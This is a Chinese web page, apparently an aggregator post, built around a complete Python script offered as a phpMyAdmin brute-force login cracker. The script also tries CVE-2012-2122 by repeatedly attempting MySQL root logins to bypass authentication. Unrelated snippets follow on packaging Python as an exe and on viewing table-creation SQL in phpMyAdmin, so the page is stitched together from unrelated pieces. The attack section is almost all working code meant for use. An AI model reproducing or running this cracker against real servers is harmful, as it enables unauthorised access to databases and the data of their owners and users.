Python写的PHPMyAdmin暴力破解工具代码,pythonphpmyadmin


PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。

#!/usr/bin/env python
import urllib 
import urllib2 
import cookielib 
import sys
import subprocess
def Crack(url,username,password):
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) 
	headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
	params = urllib.urlencode({'pma_username': username, 'pma_password': password})
	request = urllib2.Request(url+"/index.php", params,headers)
	response = opener.open(request) 
	a=response.read() 
	if a.find('Database server')!=-1 and a.find('name="login_form"')==-1:
		return username,password
	return 0
def MySQLAuthenticationBypassCheck(host,port):
	i=0
	while i<300:
		i=i+1
		subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait()
if __name__ == '__main__':
	if len(sys.argv)<4:
		print "#author:iswin\n#useage python pma.py http://www.bkjia.com/phpmyadmin/ username.txt password.txt"
		sys.exit()
	print "Bruting,Pleas wait..."
	for name in open(sys.argv[2],"r"):
		for passw in open(sys.argv[3],"r"):
			state=Crack(sys.argv[1],name,passw)
			if state!=0:
				print "\nBrute successful"
				print "UserName: "+state[0]+"PassWord: "+state[1]
				sys.exit()
	print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck"
	choice=raw_input('Warning:This function needs mysql environment.\nY:Try to MySQLAuthenticationBypassCheck\nOthers:Exit\n')
	if choice=='Y' or choice=='y':
		host=raw_input('Host:')
		port=raw_input('Port:')
		MySQLAuthenticationBypassCheck(host,port)


怎写一个工具,过程详解,比如Python写代码完是要编译然后怎做?假如用网上人家公布的源码怎

把python代码编译成exe的相关文件是一件很有意思的事情,在实现这一相关的步骤其中会有很多的软件会使python代码编译成exe的相关文件,以下就是对文章的相关内容的具体介绍。望你会有所收获。
py2exe
先下载文件(链接),安装比较简单,一路下一步就行了。创建一个例子文件foobar.py:
print "foobar"

创建一个安装文件setup.py:
from distutils.core import setup import py2exe setup(console=['foobar.py'])

执行:
python setup.py py2exe

pyinstaller
先下载文件(链接),只要解压缩到合适的位置即可。创建一个例子文件foobar.py:
print "foobar"

以下操作在解压缩后的目录里进行(以下代码对python代码编译成exe文件有很大的帮助)。配置pyinstaller:
python Configure.py

生成spec文件:
python Makespec.py -F -c foobar.py

执行:
python Build.py foobar/foobar.spec

ps: py2exe 也可以打成只有一个 exe 包,不带 library.zip 的。以上就是对python代码编译成exe文件的相关实际操作的具体介绍。
 

PHPMyadmin通过怎获取已创建表的创建代码

使用SHOW CREATE TABLE 语句进行查询即可。如:
SHOWCREATETABLE`tb_app` -- 显示tb_app表的建表语句。
查询结果可能看不全,点下面的打印预览即可。

还有一种方法是导出,看导出的文件。
 

评论关闭